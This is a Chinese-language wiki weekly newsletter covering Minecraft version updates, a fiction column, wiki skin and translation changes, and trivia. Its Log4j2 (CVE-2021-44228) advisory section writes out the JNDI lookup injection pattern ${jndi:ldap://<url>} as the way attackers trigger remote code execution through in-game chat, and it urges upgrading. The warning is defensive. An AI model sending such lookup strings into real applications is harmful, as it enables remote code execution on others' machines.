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茶馆周报/21w50a

From Project Archive by Lakejason0
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article 21w50a | event 2021年12月13日
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欢迎来到茶馆周报。

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本周快照[edit | edit source]

Java版[edit | edit source]

本周更新了正式版Java版1.18.1,同时更新了以下发布候选:

然后我们就迎来了1.18.1。上周发了个预发布版,这周发了三个发布候选就出来了。

基岩版[edit | edit source]

本周更新了测试版1.18.10.22

此版本同步了一些Java版的特性,主要是Java版上对纹理的更改。并日常修复了一些漏洞。

此外由于游戏质量问题,此版本并未发布到Windows平台。

MC相关[edit | edit source]

Log4j2 0day RCE 漏洞[edit | edit source]

Log4j2是Java开发常用的日志框架。此次由阿里云安全团队报告(通报原文)的远程代码执行漏洞(RCE,编号CVE-2021-44228)触发条件低,危害大,CVSS评分为最高分10.0。

对于Minecraft来说,攻击者可以通过游戏内聊天等方法,使游戏在日志中记录如${jndi:ldap://<url>}等的可被利用的字符串时在其他设备上远程执行代码。可以看到,触发条件真的很低。

Java涉及到各种服务的方方面面(我们暂且不提3 Million Devices的事情),就算是游戏方面,也会有很多游戏的后端是Java编写的,只是没公开。请尽快排查应用程序是否引入了Apache的log4j-core,若存在依赖引入,且在受影响版本范围内(Apache Log4j 2.x < 2.15.0),则可能存在漏洞影响,须升级所有相关应用到最新的log4j-2.15.0(下载页面)。此外也有一些措施,请参见通报原文。

本站(存档计划)的排查结果是,此漏洞不影响本站的任何公开应用程序。

未名残章更新专栏[edit | edit source]

大家好这里是湖远星。

RoD序列[edit | edit source]

更新了未名残章/RoD~40

总体内容有些破碎,但是稍微读一下就能知道发生了什么。如果你了解这是在写什么的话。

sky序列[edit | edit source]

更新了未名残章/sky~29

主序列[edit | edit source]

继续未名残章/47

如果掌握了虚体,那么就意味着,一个生物可以较为自由地变换自己的生命形式。

从一个最普通正常的生物,到高度抽象化的生命,这中间有一道屏障。这道屏障划开了生物的自然演化与世界观层面的生命形式的演化。换句话说,正常的自然选择不能让一个生物将自己分解为纯粹的生命力,还可以将这些纯粹的生命力再次组合为原来的形式。再换句话说,如果一个人可以从你的面前化为无数碎屑,然后这些碎屑又可以自行聚集起来还原回原来的那个人,那么这个人,首先已经超脱了人的范围,其次他经历了一般人做不到的,也就是非一般的演化过程,这可能是他对魔法的深刻掌握,或者也可能单纯是他符合世界设定中的某一些例外,等等。这个过程是“不鸣则已,一鸣惊人”的,也就是只有发生过,打破过这个屏障,形式的变化才会发生的更多更快。如果一个人从来没有相关经历,那么也不可能逐渐积累生命形式的变化,因此打破的第一步是最重要的。

远星是怎么回事呢?

还记得四条线的残章吧?在第三条线中,远星得以看到一个新世界。由其他线的信息可知,远星在避难还在谋划的时候就已经使用了“道林·格雷之术”,将自身的衰老转嫁到了一张肖像上,而这张肖像又被他装进特制的笼子中,嵌入身体。

但是,维持这个法术需要一定量的魔能。第三条线的原始魔能已经分裂特化了,理论上这样的话,远星是根本醒不来的(因为维持困难反而可能出问题),而事实却不是如此。

没错。这个法术并不那么单纯——它的编写考虑了大量的边界案例,其中就包括应对魔能形式的变化。

而在第三条线中,远星的肖像笼与魔能的变化不断共振,最终,肖像与笼不断熔化消解,跟随新的魔能本身一起分裂特化了。换句话说,远星将衰老转移到了肖像里面,而法术又将这肖像和它本身转移到了新的魔法体系本身之中。这也就是为什么远星说自己是“与世间万物同生共死之人”,因为他的衰老已经转嫁给了世间万物。

因此,远星的生命形式有了实质的变化,也就是上述的非一般的演化过程的至关重要的一步。这也是他在新世界启程后能够掌握虚体的起始点。

不过,实际上,维持设备本身与新的体系也会共振,因此在场的其他人理论上也有一定的生命形式的变化。但他们(目前描写的)没有掌握永生,因此没有那么多的时间积累更多的变化。

存档计划相关[edit | edit source]

更新Lakeus皮肤[edit | edit source]

更新了Lakeus皮肤。

现在页面工具在编辑按钮的那一栏了。然后修正了几个主题设计器的逻辑错误。

我导出了一份主题,在MediaWiki官网查看。

MCW相关[edit | edit source]

将基岩版开发者文档重定向[edit | edit source]

2021年12月7日(二),用户MysticNebula70在社区专页发布了话题:将基岩版开发者文档重定向

此话题指出本wiki上的基岩版开发者文档均过时已久且无人维护。同时提议将这些文档移除,只保留到微软文档的软重定向。

次日所有基岩版开发者文档均已软重定向处理。

这次没有话题仍在讨论了。

译名相关[edit | edit source]

今天我们的Sculk Sensor译名定了吗[edit | edit source]

在本周,我们的Sculk Sensor译名依旧未定,且是目前为止唯一未定的。

自20w49a(2020年12月2日)加入Sculk Sensor以来,截至2021年12月12日已经过了375天。

Sculk相关内容被放到了1.19——所以要等到1.19快照发布时才可能确定译名。

对石头制品译名的一些微调[edit | edit source]

2021年12月11日(六)中午,用户Chixvv在MCW管理群内提出“Wiki的译名标准化有一些地方需要改进”,之后发送了一些与台阶相关的用词问题。之后此问题有部分转移到了游戏内译名上。

次日凌晨,Lxazl5770在译名通知群内发布了部分石头制品译名的改动通知,更改了如下译名:

  • 石台阶 → 石头台阶
  • 石楼梯 → 石头楼梯
  • 石质压力板 → 石头压力板
  • 平滑石台阶 → 平滑石头台阶

算是一次因讨论引起的译名微调。

你知道吗[edit | edit source]

  • 在Java版1.0.0-rc1中,所有工具都只有8点耐久度。
  • 村民和《海绵宝宝》里的远古章鱼哥长得相似。Mojang官方人员已经承认了这一点。
  • 木质方块的部分音效(例如在方块上行走)里夹杂了村民的音效。
  • 在Python中输入import this会输出《Python之禅》文本。
  • 宇宙中含量最多的元素是氢。

我在元宇宙买了一个方块大豪斯,什么,服主跑路了

——卡狗评论于360对log4j漏洞的报道



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